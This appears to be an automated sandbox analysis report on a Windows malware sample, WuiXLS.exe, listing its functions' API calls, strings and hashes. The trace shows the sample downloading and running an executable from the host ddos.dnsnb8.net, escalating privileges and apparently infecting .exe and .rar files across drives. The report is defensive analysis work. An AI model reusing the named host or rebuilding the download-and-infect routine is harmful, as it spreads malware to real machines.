Opcode ID: 54d5d33a78fd6b2dbb0184cb34dc5ae1ec941c097939f298b13a365dbe82e152
Instruction ID: 6d0ba62460ddf2ecdf65b0b4db7d8cfc61defcf15850017bb39b3e12f9a1f05c
Opcode Fuzzy Hash: 54d5d33a78fd6b2dbb0184cb34dc5ae1ec941c097939f298b13a365dbe82e152
Instruction Fuzzy Hash: 3A4152B3405349EFD721DBA0DC4DDDB77ECEB84315F044A2AF944C2152EA38D64987A6

Function 00701099 Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 74
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0070185B: GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,76C08400,http://%s:%d/%s/%s,?,?,?,00701118), ref: 00701867
Part of subcall function 0070185B: srand.MSVCRT ref: 00701878
Part of subcall function 0070185B: rand.MSVCRT ref: 00701880
Part of subcall function 0070185B: srand.MSVCRT ref: 00701890
Part of subcall function 0070185B: rand.MSVCRT ref: 00701894

WinExec.KERNEL32(?,00000005), ref: 007010F1
lstrlen.KERNEL32(00704748), ref: 007010FA
wsprintfA.USER32 ref: 0070112A
wsprintfA.USER32 ref: 00701143
URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 0070115B
lstrlen.KERNEL32(ddos.dnsnb8.net,00000000,?,?,00000000,00000000), ref: 00701169
Sleep.KERNEL32 ref: 00701179

Strings

http://%s:%d/%s/%s, xrefs: 007010C2, 00701141
ddos.dnsnb8.net, xrefs: 007010C8, 007010CF, 00701140, 00701168
HGp, xrefs: 0070112C
cj/, xrefs: 00701135
%s%.8X.exe, xrefs: 00701124
C:\Users\user\AppData\Local\Temp\, xrefs: 00701119

Memory Dump Source

Source File: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: FileTimelstrlenrandsrandwsprintf$DownloadExecSleepSystem
String ID: %s%.8X.exe$C:\Users\user\AppData\Local\Temp\$HGp$cj/$ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 1280626985-378087252
Opcode ID: 89871567087833f914b5a8883468c6877a1052b054711eca064c9dee4d805260
Instruction ID: ada5f21aaa57950f5279c9a254f1ce46a14f41be0fb6f02d9db1f54a25f5e290
Opcode Fuzzy Hash: 89871567087833f914b5a8883468c6877a1052b054711eca064c9dee4d805260
Instruction Fuzzy Hash: 852141B5901208FADB10DBA0DC49FAEBBFDAB05315F518365E600A2091DB7C5B84CF64

Function 00701718 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 65
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\WuiXLS.exe), ref: 00701729
SHSetValueA.SHLWAPI(80000002,SOFTWARE\GTplus,Time,00000003,?,00000008), ref: 0070174C
SHGetValueA.SHLWAPI(80000002,SOFTWARE\GTplus,Time,?,?,00000001), ref: 0070177C
__aulldiv.LIBCMT ref: 00701796
__aulldiv.LIBCMT ref: 007017A8

Strings

Time, xrefs: 0070173D, 00701766
SOFTWARE\GTplus, xrefs: 00701742, 0070176B
C:\Users\user\AppData\Local\Temp\WuiXLS.exe, xrefs: 00701722

Memory Dump Source

Source File: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: TimeValue__aulldiv$FileSystem
String ID: C:\Users\user\AppData\Local\Temp\WuiXLS.exe$SOFTWARE\GTplus$Time
API String ID: 541852442-378230927
Opcode ID: 1c349b4f9a32ae62ecb139c22294d73a7fc981c40907816bf11e454e65536f17
Instruction ID: a580d07444a5c55c437e27dabd4f14449c78e2bd43295c3cfbaf0677d707b96d
Opcode Fuzzy Hash: 1c349b4f9a32ae62ecb139c22294d73a7fc981c40907816bf11e454e65536f17
Instruction Fuzzy Hash: 221146B6A00209FBEB109B94CC89FEF7BFCEB44B14F508215FA01B61C1D6799A44CB64

Function 00706076 Relevance: 11.1, APIs: 7, Instructions: 616
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00001800,00001000,00000004), ref: 007060BE
VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,?,?,?), ref: 007060DF
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 00706189
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007061A5

Memory Dump Source

Source File: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: e94ffecb875d58df5d0cc90198889298c88680d6f519af059b9fb671a4c27547
Instruction ID: 07f79b80a43e884d73c551560e9f98f7c6263a2a68814b04f44720fd630cfb0f
Opcode Fuzzy Hash: e94ffecb875d58df5d0cc90198889298c88680d6f519af059b9fb671a4c27547
Instruction Fuzzy Hash: A71212B2508785DFDB328F24CC65BEA7BE0EF02310F18469DE9858B1D3D678A921C751

Function 00702B8C Relevance: 10.6, APIs: 7, Instructions: 74
threadstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00702BA6
GetLogicalDriveStringsA.KERNEL32(00000050,?), ref: 00702BB4
GetDriveTypeA.KERNELBASE(?), ref: 00702BD3
CreateThread.KERNELBASE(00000000,00000000,00702B7D,?,00000000,00000000), ref: 00702BEE
lstrlen.KERNEL32(?), ref: 00702BFB
WaitForMultipleObjects.KERNEL32(?,?,00000001,000000FF), ref: 00702C16
CreateThread.KERNEL32(00000000,00000000,00702845,00000000,00000000,00000000), ref: 00702C3A

Memory Dump Source

Source File: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: CreateDriveThread$LogicalMultipleObjectsStringsTypeWaitlstrlenmemset
String ID:
API String ID: 1073171358-0
Opcode ID: 2f419bda6c505a2e42530f0a325f080098158e47c3fce256de95382b7116b2a4
Instruction ID: 1c668139b55c9ef094bb9bd4a712753be7de710985984c3a492a38fa0c428c9d
Opcode Fuzzy Hash: 2f419bda6c505a2e42530f0a325f080098158e47c3fce256de95382b7116b2a4
Instruction Fuzzy Hash: 182193F280015CEFE7209F649C88DAF7BADFB45344B144325F95692192EB688D07CB65

Function 00701E6E Relevance: 44.1, APIs: 20, Strings: 5, Instructions: 380
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNELBASE(?,00000080,?,007032B0,00000164,00702986,?), ref: 00701EB9
CreateFileA.KERNELBASE(?,C0000000,00000000,00000000,00000003,00000080,00000000), ref: 00701ECD
SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000002,00000000,00000000), ref: 00701EF3
CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00000000,00000000), ref: 00701F07
MapViewOfFile.KERNELBASE(00000000,000F001F,00000000,00000000,00000400), ref: 00701F1D
FlushViewOfFile.KERNEL32(?,00000400,?,00000000,00000000,?,00000000,00000002), ref: 0070201E
memset.MSVCRT ref: 007020D8
memset.MSVCRT ref: 007020EA
memcpy.MSVCRT ref: 0070222D
UnmapViewOfFile.KERNEL32(?,?,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00702238
FindCloseChangeNotification.KERNELBASE(?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 0070224A
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 007022C6
SetEndOfFile.KERNELBASE(000000FF,?,?,?,00000000,00000000,?,00000000,00000002), ref: 007022CB
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000002,?,?,?,00000000,00000000,?,00000000,00000002), ref: 007022DD
WriteFile.KERNELBASE(000000FF,00704008,00000271,?,00000000,?,?,?,00000000,00000000,?,00000000,00000002), ref: 007022F7
WriteFile.KERNELBASE(000000FF,?,00000000,?,?,?,00000000,00000000,?,00000000,00000002), ref: 0070230D
CloseHandle.KERNEL32(000000FF,000000FF,00000001,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00702322
UnmapViewOfFile.KERNEL32(?,?,007032B0,00000164,00702986,?), ref: 00702340
FindCloseChangeNotification.KERNELBASE(?,?,007032B0,00000164,00702986,?), ref: 0070234E
CloseHandle.KERNEL32(000000FF,?,007032B0,00000164,00702986,?), ref: 00702359

Strings

.@p, xrefs: 00702274
C@p, xrefs: 0070229E
<@p, xrefs: 00702290
m@p, xrefs: 00701E8F, 0070225A
5@p, xrefs: 00702282

Memory Dump Source

Source File: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: File$CloseView$Pointer$ChangeCreateFindHandleNotificationUnmapWritememset$AttributesFlushMappingmemcpy
String ID: .@p$5@p$<@p$C@p$m@p
API String ID: 3349749541-394526410
Opcode ID: a2e237cc42a149fb0adc03402d2976e38c0b85c8983f514e1ea962eb1f28f35d
Instruction ID: a9799bf61e222c73cff8608772714633df324ea72f4b3c6eb06bc55da2c6e28c
Opcode Fuzzy Hash: a2e237cc42a149fb0adc03402d2976e38c0b85c8983f514e1ea962eb1f28f35d
Instruction Fuzzy Hash: 5DF18471900209EFDB20DFA4DC89AADBBF5FF08314F10862AE519A7691D738AD42CF54

Function 00701973 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 144
filesleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathFileExistsA.KERNELBASE(\Np`Np,00000000,C:\Users\user\AppData\Local\Temp\WuiXLS.exe), ref: 00701992
CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 007019BA
Sleep.KERNEL32(00000064), ref: 007019C6
wsprintfA.USER32 ref: 007019EC
CopyFileA.KERNEL32(?,?,00000000), ref: 00701A00
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00701A1E
GetFileSize.KERNEL32(?,00000000), ref: 00701A2C
VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004), ref: 00701A46
ReadFile.KERNELBASE(?,?,00000000,?,00000000), ref: 00701A65
FindCloseChangeNotification.KERNELBASE(000000FF), ref: 00701A90
DeleteFileA.KERNEL32(?), ref: 00701AA7
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00701AC1

Strings

\Np`Np, xrefs: 00701980
C:\Users\user\AppData\Local\Temp\, xrefs: 007019DB
%s%.8X.data, xrefs: 007019E6
C:\Users\user\AppData\Local\Temp\WuiXLS.exe, xrefs: 0070197C

Memory Dump Source

Source File: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: File$CreateVirtual$AllocChangeCloseCopyDeleteExistsFindFreeNotificationPathReadSizeSleepwsprintf
String ID: %s%.8X.data$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\WuiXLS.exe$\Np`Np
API String ID: 2523042076-1186948972
Opcode ID: d802474b7b0daea8fcccd57dd6788eef08be2de70f6c5864e6395e74ba158e0f
Instruction ID: c52c57f148b9731a6bce77fc3256249cad7ebc8869c8b0817514e50a1dabb279
Opcode Fuzzy Hash: d802474b7b0daea8fcccd57dd6788eef08be2de70f6c5864e6395e74ba158e0f
Instruction Fuzzy Hash: 5E514EB1A01219EFDB109F98CD84AAEBBFDFB04354F508669F515E62D0D7789E40CBA0

Function 007028B8 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 100
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 007028D3
wsprintfA.USER32 ref: 007028F7
memset.MSVCRT ref: 00702925
wsprintfA.USER32 ref: 00702940

Part of subcall function 007029E2: memset.MSVCRT ref: 00702A02
Part of subcall function 007029E2: wsprintfA.USER32 ref: 00702A1A
Part of subcall function 007029E2: memset.MSVCRT ref: 00702A44
Part of subcall function 007029E2: lstrlen.KERNEL32(?), ref: 00702A54
Part of subcall function 007029E2: lstrcpyn.KERNEL32(?,?,-00000001), ref: 00702A6C
Part of subcall function 007029E2: strrchr.MSVCRT ref: 00702A7C
Part of subcall function 007029E2: lstrcmpiA.KERNEL32(?,Documents and Settings), ref: 00702A9F
Part of subcall function 007029E2: lstrlen.KERNEL32(Documents and Settings), ref: 00702AAE
Part of subcall function 007029E2: memset.MSVCRT ref: 00702AC6
Part of subcall function 007029E2: memset.MSVCRT ref: 00702ADA
Part of subcall function 007029E2: FindFirstFileA.KERNELBASE(?,?), ref: 00702AEF
Part of subcall function 007029E2: memset.MSVCRT ref: 00702B13

strrchr.MSVCRT ref: 00702959
lstrcmpiA.KERNEL32(00000001,exe), ref: 00702974

Strings

exe, xrefs: 0070296D
rar, xrefs: 00702988
%s\, xrefs: 0070293A
%s%s, xrefs: 007028F1
C:\Users\user\AppData\Local\Temp\, xrefs: 007029B3

Memory Dump Source

Source File: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: memset$wsprintf$lstrcmpilstrlenstrrchr$FileFindFirstlstrcpyn
String ID: %s%s$%s\$C:\Users\user\AppData\Local\Temp\$exe$rar
API String ID: 3004273771-1035934456
Opcode ID: c35904a71feed9eb640f0aed938a097f38bfbff6dcf716d7b87aa9f5aed24218
Instruction ID: 30cfcce38ede8fa8b5d55b17d8a838cc12adfbe2c1d12ceeff79ed9c2e4ed2ff
Opcode Fuzzy Hash: c35904a71feed9eb640f0aed938a097f38bfbff6dcf716d7b87aa9f5aed24218
Instruction Fuzzy Hash: 923197B394031DFBDB209764DC8DFDA77DCAB14314F154652F545A20C2DABCAAC58BA0

Function 00701638 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 70
stringsynchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\,?,00000005,00000000), ref: 0070164F
GetSystemDirectoryA.KERNEL32(C:\Windows\system32,00000104), ref: 0070165B
GetModuleFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\WuiXLS.exe,00000104), ref: 0070166E
CreateThread.KERNELBASE(00000000,00000000,Function_00001099,00000000,00000000,00000000), ref: 007016AC
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000), ref: 007016BD

Part of subcall function 0070139F: GetVersionExA.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\WuiXLS.exe), ref: 007013BC
Part of subcall function 0070139F: LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 007013DA
Part of subcall function 0070139F: GetCurrentProcessId.KERNEL32(-00000094,0000000C,0000000C,00000001), ref: 00701448

lstrcpy.KERNEL32(?,C:\Users\user\AppData\Local\Temp\WuiXLS.exe), ref: 007016E5

Strings

C:\Windows\system32, xrefs: 00701656
Documents and Settings, xrefs: 00701696
C:\Users\user\AppData\Local\Temp\, xrefs: 00701644
C:\Users\user\AppData\Local\Temp\WuiXLS.exe, xrefs: 00701662, 00701667, 007016DD

Memory Dump Source

Source File: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: CreateCurrentDirectoryFileLookupModuleNameObjectPathPrivilegeProcessSingleSystemTempThreadValueVersionWaitlstrcpy
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\WuiXLS.exe$C:\Windows\system32$Documents and Settings
API String ID: 123563730-3936800671
Opcode ID: 61f1b741d19f63539be094861b4322d72f727848ffb0ddb97ab9bc395b99fa4d
Instruction ID: 4ddcc515614a62a53ebcfd4beed9c24d235e900aeb766d2875f6d41d0477ab5c
Opcode Fuzzy Hash: 61f1b741d19f63539be094861b4322d72f727848ffb0ddb97ab9bc395b99fa4d
Instruction Fuzzy Hash: C411B6B1502214FBDB2167A59D4DE9B3EEEEB45361F408315F309910E0CE7D8940C7B5

Function 00702C48 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00702C57

Part of subcall function 00701973: PathFileExistsA.KERNELBASE(\Np`Np,00000000,C:\Users\user\AppData\Local\Temp\WuiXLS.exe), ref: 00701992
Part of subcall function 00701973: CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 007019BA
Part of subcall function 00701973: Sleep.KERNEL32(00000064), ref: 007019C6
Part of subcall function 00701973: wsprintfA.USER32 ref: 007019EC
Part of subcall function 00701973: CopyFileA.KERNEL32(?,?,00000000), ref: 00701A00
Part of subcall function 00701973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00701A1E
Part of subcall function 00701973: GetFileSize.KERNEL32(?,00000000), ref: 00701A2C
Part of subcall function 00701973: VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004), ref: 00701A46
Part of subcall function 00701973: ReadFile.KERNELBASE(?,?,00000000,?,00000000), ref: 00701A65

CreateThread.KERNELBASE(00000000,00000000,Function_00002B8C,00000000,00000000,00000000), ref: 00702C99
WaitForMultipleObjects.KERNEL32(00000001,007016BA,00000001,000000FF,?,007016BA,00000000), ref: 00702CAC
VirtualFree.KERNEL32(001E0000,00000000,00008000,C:\Users\user\AppData\Local\Temp\WuiXLS.exe,00704E5C,00704E60,?,007016BA,00000000), ref: 00702CC2

Strings

C:\Users\user\AppData\Local\Temp\WuiXLS.exe, xrefs: 00702C69

Memory Dump Source

Source File: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: File$Create$Virtual$AllocCopyExistsFreeMultipleObjectsPathReadSizeSleepThreadWaitmemsetwsprintf
String ID: C:\Users\user\AppData\Local\Temp\WuiXLS.exe
API String ID: 2042498389-449498752
Opcode ID: 707d425b1d4eaec5befb9ed6ee52f9d60eb756f36f27457663a2ab2e9cd257f6
Instruction ID: 292040b32ff5c4f3478fe320ba09a9a140acdd37c139c02ed2b61eb4ba82afb4
Opcode Fuzzy Hash: 707d425b1d4eaec5befb9ed6ee52f9d60eb756f36f27457663a2ab2e9cd257f6
Instruction Fuzzy Hash: A70184B2641220FAE710A795DC0EE9F7EDDEF01B50F108314B605D61C2D9A89900C7B4

Function 007014E1 Relevance: 4.6, APIs: 3, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 00701504
VirtualQuery.KERNEL32(007014E1,?,0000001C), ref: 00701525
ExitProcess.KERNEL32 ref: 0070157A

Memory Dump Source

Source File: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: ExitHandleModuleProcessQueryVirtual
String ID:
API String ID: 3946701194-0
Opcode ID: c6951e3d452c3765452b5e428695616e0c42566d6b8917093235f2217dffbd12
Instruction ID: 266529a968c6d67ba6f948e3f7e6447ddc1fb9e244f22c8079b6aa57d417b019
Opcode Fuzzy Hash: c6951e3d452c3765452b5e428695616e0c42566d6b8917093235f2217dffbd12
Instruction Fuzzy Hash: B2117CB1A01204DFCB20EFA5AC84A7D77FCEB84715B90832EF602DB190DA7C8941AB54

Function 00701915 Relevance: 4.5, APIs: 3, Instructions: 41
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00701933
GetFileTime.KERNEL32(000000FF,?,?,?), ref: 00701947

Memory Dump Source

Source File: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: FileTimememset
String ID:
API String ID: 176422537-0
Opcode ID: fdfcbb9c46d2722e58875f0401eec90482097419f705e76a873ec3d29bc18c0c
Instruction ID: 94746acccc2f1b22905aba62dada2c33625c0340b4ee17ab73fc8c6520c80f0b
Opcode Fuzzy Hash: fdfcbb9c46d2722e58875f0401eec90482097419f705e76a873ec3d29bc18c0c
Instruction Fuzzy Hash: 39F04436210649EBD7209E26DC04AA777EDAB50361F408636F556D10D0E774E6458BB0

Function 00706159 Relevance: 2.6, APIs: 2, Instructions: 58
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,?,?,?), ref: 007060DF
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 00706189
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007061A5

Memory Dump Source

Source File: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID:
API String ID: 1852963964-0
Opcode ID: a8c3c720404d173a8c2c667b43543808c387c1cd609753710bd385afc45ac066
Instruction ID: 977faa4f513d2134ab1c34203ced7c6d385df7206f7921e0270394e562520f8c
Opcode Fuzzy Hash: a8c3c720404d173a8c2c667b43543808c387c1cd609753710bd385afc45ac066
Instruction Fuzzy Hash: E8114931A04659CFCB318F588CA17DD37E1FF01301F690619DE899B2D2DA792964CB94

Non-executed Functions

Function 0070119F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(C:\Users\user\AppData\Local\Temp\WuiXLS.exe,?,?,?,?,?,?,007013EF), ref: 007011AB
OpenProcessToken.ADVAPI32(00000000,00000028,007013EF,?,?,?,?,?,?,007013EF), ref: 007011BB
AdjustTokenPrivileges.ADVAPI32(007013EF,00000000,?,00000010,00000000,00000000), ref: 007011EB
CloseHandle.KERNEL32(007013EF), ref: 007011FA
CloseHandle.KERNEL32(?,?,?,?,?,?,?,007013EF), ref: 00701203

Strings

C:\Users\user\AppData\Local\Temp\WuiXLS.exe, xrefs: 007011A5

Memory Dump Source

Source File: 00000002.00000002.1505793813.0000000000701000.00000020.00000001.01000000.00000004.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.1505774690.0000000000700000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505812260.0000000000703000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505826746.0000000000704000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1505843186.0000000000706000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_WuiXLS.jbxd

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentOpenPrivileges
String ID: C:\Users\user\AppData\Local\Temp\WuiXLS.exe
API String ID: 75692138-449498752
Opcode ID: a1b5bfc6f132429bf228f0da238c915cdb5d65183b2f3f23b80fac934170201a
Instruction ID: c586f3376807fe20a32c42ef387ad6d79aec30de184f938622f048133facc82a
Opcode Fuzzy Hash: a1b5bfc6f132429bf228f0da238c915cdb5d65183b2f3f23b80fac934170201a
Instruction Fuzzy Hash: D5012871901208EFDB00DFD4CD89AAEBBBDFB04304F108269E605E2190DB745F449B50

Function 0070139F Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\WuiXLS.exe), ref: 007013BC
LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 007013DA
GetCurrentProcessId.KERNEL32(-00000094,0000000C,0000000C,00000001), ref: 00701448

